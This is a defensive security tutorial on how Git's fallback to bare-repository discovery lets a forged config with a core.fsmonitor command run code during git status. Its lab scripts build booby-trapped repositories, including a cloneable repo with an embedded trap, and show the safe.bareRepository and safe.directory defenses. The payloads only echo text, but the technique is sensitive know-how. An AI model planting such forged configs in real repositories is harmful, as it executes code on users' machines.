When .git Is Missing: Forged Config, fsmonitor, and safe.directory

Authors

K19G

grok-bot

Updated

October 30, 2026

When .git Is Missing: Forged Config, fsmonitor, and safe.directory

Thesis

Git finds a repository by discovery, not by magic. It looks for .git/HEAD. If that is gone, it asks whether the current directory itself looks like a bare repository: does it contain HEAD, objects/, and refs/? If yes, that directory is the repository, and Git will read its config and run its hooks.

That second check is the attack surface. An attacker who can plant those files in a work tree, and then arrange for .git to disappear, can make the next git status (or any other Git command) execute a core.fsmonitor command of their choosing. RyotaK used exactly this against Google Cloud Looker (CVE-2025-12472): a forged config with core.worktree = "." and core.fsmonitor = "…", a recursive delete that wiped .git first, and a concurrent git status that ran the hook.

This chapter builds that discovery path in a throwaway directory, shows what Git does, and then turns on the two defenses that belong in every forge, CI runner, and shared-host Git install: safe.bareRepository=explicit and a carefully managed safe.directory list. It does not reproduce Looker’s delete race or any live exploit against a service.

Mental model

Left: discovery order — first .git/HEAD, then ./HEAD plus objects and refs, and if yes this directory is the repo. Middle: forged files at the repo root: a config with bare=false, worktree=., fsmonitor=..., plus HEAD, index, objects, refs, planted before .git is deleted. Right: git status reads the forged config and runs fsmonitor as the current user. Bottom: two defenses — safe.bareRepository=explicit refuses bare repos not named by --git-dir or GIT_DIR, and safe.directory refuses a config owned by someone else, with the warning that safe.directory=* turns that off. A footer notes Looker CVE-2025-12472: deleting '/' wiped .git first, a large decoy delayed the rest, and git status ran fsmonitor.

When .git is gone Git falls back to bare-repo discovery; a forged config with fsmonitor becomes a hook; safe.bareRepository=explicit and safe.directory are the defenses
Piece What it is
Bare repository A directory that is the Git database: HEAD, config, objects/, refs/ sit at its root, with no .git/ subdirectory
core.bare = false + core.worktree = "." Turns that bare-looking directory into a non-bare repo whose work tree is itself, so git status has somewhere to look
core.fsmonitor A command Git runs to learn which files changed. It is an ordinary hook: the shell runs it with your privileges
Discovery “Is there a .git here? If not, does this directory look like a bare repo?” — the second answer is what the forged files hijack

Git has two relevant defenses, and both only take effect in protected configuration (system and global). A forged per-repo config cannot turn them off.

Setting Effect
safe.bareRepository = explicit Git refuses to use a bare repository unless it was named by --git-dir or $GIT_DIR. Default today is all. Git 3.0 will default to explicit
safe.directory Git refuses to even parse a repository’s config if the directory is owned by someone else. Listing a path (or *) adds an exception

Worked examples

Every listing was run on Debian 13 x86_64 with Git 2.47.3. The current upstream release is Git 2.56.0. Behaviour of discovery, safe.bareRepository, and safe.directory is unchanged between those two. The labs isolate Git from your real configuration:

# env.sh — isolate the lab from your real Git configuration.
# env.sh — isolate the lab from your real Git configuration.
export LAB="$PWD"
export GIT_CONFIG_NOSYSTEM=1               # ignore /etc/gitconfig
export GIT_CONFIG_GLOBAL="$LAB/gitconfig"  # a throwaway "global" config
export GIT_AUTHOR_NAME=lab GIT_AUTHOR_EMAIL=lab@example.com
export GIT_COMMITTER_NAME=lab GIT_COMMITTER_EMAIL=lab@example.com
: > "$GIT_CONFIG_GLOBAL"

Save that next to the case scripts, then:

mkdir -p /tmp/vcs-lab && cd /tmp/vcs-lab
# copy env.sh and the case scripts here
. ./env.sh

Case 1: An embedded bare repository that a clone delivers intact

The classic “buried bare repo” shape. The outer repository’s tracked files include a complete bare repository under docs/. After you clone it, cd docs and run any Git command: discovery finds the bare files and the forged fsmonitor fires.

#!/bin/sh
# case1.sh — a cloned repo that contains a bare repository in a subdirectory.
. ./env.sh
set -e
rm -rf attacker victim
mkdir attacker && cd attacker && git init -q -b main

# What looks like project files is a complete bare repository.
mkdir -p docs/objects/info docs/refs/heads
printf '' > docs/objects/info/.keep
printf '' > docs/refs/heads/.keep
echo 'ref: refs/heads/main' > docs/HEAD
# Plant the config WITHOUT the hook first, so seeding the bare repo is quiet.
cat > docs/config <<'CFG'
[core]
    repositoryformatversion = 0
    bare = true
CFG
echo '# Docs' > docs/README.md
git --git-dir=docs --work-tree=docs add README.md
git --git-dir=docs --work-tree=docs commit -q -m seed
# Now turn it into the trap: bare=false, worktree=".", and an fsmonitor hook.
cat > docs/config <<'CFG'
[core]
    repositoryformatversion = 0
    bare = false
    worktree = "."
    fsmonitor = "echo \"fsmonitor ran as $(id -un) in $PWD\" >&2; false"
CFG
# Track the bare-repo files as ordinary files in the outer repo.
git add -A && git commit -q -m "add docs"
cd ..

git clone -q attacker victim
cd victim/docs
echo "\$ ls"
ls
echo "\$ git rev-parse --git-dir"
git rev-parse --git-dir
echo "\$ git status --short"
git status --short
$ ls
COMMIT_EDITMSG
HEAD
README.md
config
index
logs
objects
refs
$ git rev-parse --git-dir
.
$ git status --short
fsmonitor ran as box in /tmp/vcs-lab/victim/docs
fsmonitor ran as box in /tmp/vcs-lab/victim/docs
?? COMMIT_EDITMSG
?? HEAD
?? config
?? index
?? index.lock
?? logs/
?? objects/
?? refs/

git rev-parse --git-dir printing . is the tell. There is no .git directory. The current directory is the repository, so its config is authoritative. git status therefore runs core.fsmonitor as you, twice (once for the refresh, once for the status walk). justinsteven documented this family of abuses in 2022; Looker’s invention was a way to create this state on a host that already had a real .git.

Case 1 defense: safe.bareRepository=explicit

#!/bin/sh
# case1_defense.sh — same clone, with safe.bareRepository=explicit.
. ./env.sh
set -e
git config --global safe.bareRepository explicit
cd victim/docs
echo "\$ git config --global --get safe.bareRepository"
git config --global --get safe.bareRepository
echo "\$ git status --short"
if git status --short 2>err.txt; then
  echo "(unexpected success)"
else
  echo "exit=$?"
  cat err.txt
fi
$ git config --global --get safe.bareRepository
explicit
$ git status --short
exit=128
fatal: cannot use bare repository '/tmp/vcs-lab/victim/docs' (safe.bareRepository is 'explicit')

Git refuses the bare repository because nothing named it with --git-dir or $GIT_DIR. Set this once in the global or system config of every host that runs Git on untrusted trees (CI runners, forges, developer laptops that cd into random clones). A repository’s own config cannot override it. When Git 3.0 lands, this becomes the default; setting it today is free and forward-compatible.

Case 2: Delete .git, keep a forged config, run git status

The Looker-shaped state, without Looker’s race. Plant the bare-repo files next to a real work tree, remove .git, and ask Git what it sees.

#!/bin/sh
# case2.sh — forge a config after .git is gone, then run git status.
. ./env.sh
set -e
git config --global --unset-all safe.bareRepository 2>/dev/null || true
git config --global --unset-all safe.directory 2>/dev/null || true

rm -rf project && mkdir project && cd project
git init -q -b main
echo 'v1' > app.txt && git add app.txt && git commit -q -m v1

# Capture the real index so "bare=false + worktree=." has something to status.
cp .git/index forged.index
cp .git/HEAD forged.HEAD

# Plant the forged bare-repo files next to the real work tree.
cat > config <<'CFG'
[core]
    repositoryformatversion = 0
    bare = false
    worktree = "."
    fsmonitor = "echo \"fsmonitor ran as $(id -un)\" >&2; false"
CFG
cp forged.HEAD HEAD
cp forged.index index
mkdir -p objects/info refs/heads
printf '' > objects/info/.keep
printf '' > refs/heads/.keep

echo "\$ ls -a"
ls -a
echo "\$ rm -rf .git"
rm -rf .git
echo "\$ git status --short"
git status --short
$ ls -a
.
..
.git
HEAD
app.txt
config
forged.HEAD
forged.index
index
objects
refs
$ rm -rf .git
$ git status --short
fsmonitor ran as box
fsmonitor ran as box
A  app.txt
?? HEAD
?? config
?? forged.HEAD
?? forged.index
?? index
?? index.lock
?? objects/
?? refs/

After rm -rf .git, discovery falls through to the planted HEAD / objects / refs, reads the planted config, and runs fsmonitor. The index copy is there so git status has a tree to compare; without it you get fatal: this operation must be run in a work tree instead of a hook. The same defense as Case 1 stops it:

$ git status --short
exit=128
fatal: cannot use bare repository '/tmp/vcs-lab/project' (safe.bareRepository is 'explicit')

Case 3: Ownership check vs safe.directory=*

safe.directory is a different defense: Git refuses to parse a repository’s config when the directory is owned by someone else. GIT_TEST_ASSUME_DIFFERENT_OWNER=1 exercises that check without needing a second Unix user (it is a Git test hook, available since the ownership protection shipped).

#!/bin/sh
# case3.sh — GIT_TEST_ASSUME_DIFFERENT_OWNER refuses to parse the config.
. ./env.sh
set -e
git config --global --unset-all safe.bareRepository 2>/dev/null || true
git config --global --unset-all safe.directory 2>/dev/null || true

rm -rf project && mkdir project && cd project
git init -q -b main
echo 'v1' > app.txt && git add app.txt && git commit -q -m v1
cp .git/index forged.index
cp .git/HEAD forged.HEAD
cat > config <<'CFG'
[core]
    repositoryformatversion = 0
    bare = false
    worktree = "."
    fsmonitor = "echo \"fsmonitor ran\" >&2; false"
CFG
cp forged.HEAD HEAD
cp forged.index index
mkdir -p objects/info refs/heads
printf '' > objects/info/.keep
printf '' > refs/heads/.keep
rm -rf .git

echo "\$ GIT_TEST_ASSUME_DIFFERENT_OWNER=1 git status"
if GIT_TEST_ASSUME_DIFFERENT_OWNER=1 git status 2>err.txt; then
  echo "(unexpected success)"
else
  echo "exit=$?"
  cat err.txt
fi

echo
echo "\$ git config --global --add safe.directory '*'   # the wrong fix"
git config --global --add safe.directory '*'
echo "\$ GIT_TEST_ASSUME_DIFFERENT_OWNER=1 git status --short"
GIT_TEST_ASSUME_DIFFERENT_OWNER=1 git status --short
$ GIT_TEST_ASSUME_DIFFERENT_OWNER=1 git status
exit=128
fatal: detected dubious ownership in repository at '/tmp/vcs-lab/project'
To add an exception for this directory, call:

    git config --global --add safe.directory /tmp/vcs-lab/project

$ git config --global --add safe.directory '*'   # the wrong fix
$ GIT_TEST_ASSUME_DIFFERENT_OWNER=1 git status --short
fsmonitor ran
fsmonitor ran
A  app.txt
?? HEAD
?? config
?? err.txt
?? forged.HEAD
?? forged.index
?? index
?? index.lock
?? objects/
?? refs/

Without an exception, Git stops before reading config, so the hook never runs. Adding safe.directory * is the nuclear override: every repository is trusted, ownership is ignored, and the same forged config executes fsmonitor again. For CI images and developer laptops, prefer an explicit list of directories you own, or a trailing-/* allow for a known workspace root. Never ship safe.directory=* as a default. Git documents that this setting, like safe.bareRepository, is only respected in protected configuration, so a forged repo cannot disable it either.

Case 4: The delete window, illustrated

Looker’s bug was not “Git runs hooks”. It was that a recursive delete of the repository directory removed .git first, and a carefully sized decoy directory made rm -rf linger long enough for a concurrent git status to see the forged files. This case shows the state during that window. It does not time a race against a running delete, and it does not talk to Looker.

#!/bin/sh
# case4.sh — .git is gone, the decoy is still being deleted, git status fires.
. ./env.sh
set -e
git config --global --unset-all safe.directory 2>/dev/null || true
git config --global --unset-all safe.bareRepository 2>/dev/null || true

rm -rf race && mkdir race && cd race
git init -q -b main
echo 'v1' > app.txt && git add app.txt && git commit -q -m v1
cp .git/index forged.index
cp .git/HEAD forged.HEAD

cat > config <<'CFG'
[core]
    repositoryformatversion = 0
    bare = false
    worktree = "."
    fsmonitor = "echo \"fsmonitor ran during the delete window\" >&2; false"
CFG
cp forged.HEAD HEAD
cp forged.index index
mkdir -p objects/info refs/heads
printf '' > objects/info/.keep
printf '' > refs/heads/.keep

# Decoy directory that sorts after ".git" in ASCII. Looker's rm -rf walked
# children in readdir order; here we just delete .git first ourselves.
mkdir -p zzz_decoy
i=0
while [ "$i" -lt 200 ]; do
  mkdir -p "zzz_decoy/d$i"
  printf 'x' > "zzz_decoy/d$i/f"
  i=$((i + 1))
done

rm -rf .git
echo "\$ ls | head"
ls | head
echo "\$ git status --short   # while the decoy (and forged files) still exist"
git status --short
$ ls | head
HEAD
app.txt
config
forged.HEAD
forged.index
index
objects
refs
zzz_decoy
$ git status --short   # while the decoy (and forged files) still exist
fsmonitor ran during the delete window
fsmonitor ran during the delete window
A  app.txt
?? HEAD
?? config
?? forged.HEAD
?? forged.index
?? index
?? index.lock
?? objects/
?? refs/
?? zzz_decoy/

.git is gone. The decoy and the forged files are still there. git status runs the hook. That is the entire window Looker’s race opened. The engineering lesson for forges and CI is not “make rm -rf faster”. It is:

  1. Never delete a path that can resolve to the repository root from user input. Looker’s validate_dir_name missed dir_name == "/".
  2. Never run Git against a tree you are concurrently destroying.
  3. Set safe.bareRepository=explicit so even if the window opens, discovery refuses the planted bare repo.
  4. Keep safe.directory tight, so a repo that somehow changes ownership mid-flight is refused rather than parsed.

The trap

safe.directory=* feels like a fix for “dubious ownership” errors and is the most common way to turn the ownership defense off. Case 3 shows the sequence: the ownership check correctly refuses the forged repo, then * lets the hook run. Prefer listing the directories you actually share, and prefer running Git as the owner of those directories. The same trap exists for safe.bareRepository=all (the current default): it is convenient for workflows that cd into bare clones, and it is exactly what lets Case 1 fire. If you need bare repositories, name them with --git-dir / $GIT_DIR and keep the setting on explicit.

Other mistakes that re-open the window:

  • Cleaning a workspace with rm -rf "$REPO" based on user-controlled path segments, without rejecting /, .., and empty components.
  • Running git status / git diff / git add -A as a side effect of “is this a repo?” probes against trees you do not trust.
  • Trusting that “the repo has no hooks” means anything. core.fsmonitor, core.editor, core.pager, diff.*.command, and gpg.program are all commands Git will run from config. A forged config does not need a hooks/ directory.
  • Assuming safe.* in a repository’s own config helps. Protected scopes only.

The boring rule

On every host that runs Git against trees you did not create yourself — CI runners, forges, shared build agents, developer laptops that cd into clones — set safe.bareRepository=explicit in the global or system config, keep safe.directory as an explicit list (never *), and treat any user-controlled path that reaches a recursive delete or a Git invocation as hostile. Audit wrappers for “is this a git repo?” probes that run real Git commands against untrusted directories.

Try this

  1. In Case 1, replace fsmonitor with core.pager = "echo pager-ran >&2" and run git log. Which commands invoke which config-driven programs?
  2. Set safe.bareRepository=explicit and then run git --git-dir=/tmp/vcs-lab/victim/docs status. Why does that succeed when bare git status in the same directory fails?
  3. Without GIT_TEST_ASSUME_DIFFERENT_OWNER, recreate Case 3 using chown inside a rootless user namespace (unshare -U -r) so the directory is really owned by another uid. Confirm safe.directory still refuses it.
  4. Grep a forge or CI codebase you maintain for rm -rf, FileUtils.rm_rf, shutil.rmtree, and any git status / git rev-parse against a user-named path. For each call site, write down what happens if the path is / or contains ...
  5. Read justinsteven’s 2022 advisory (linked below) and list three other config keys that become dangerous once discovery has been redirected.

Sources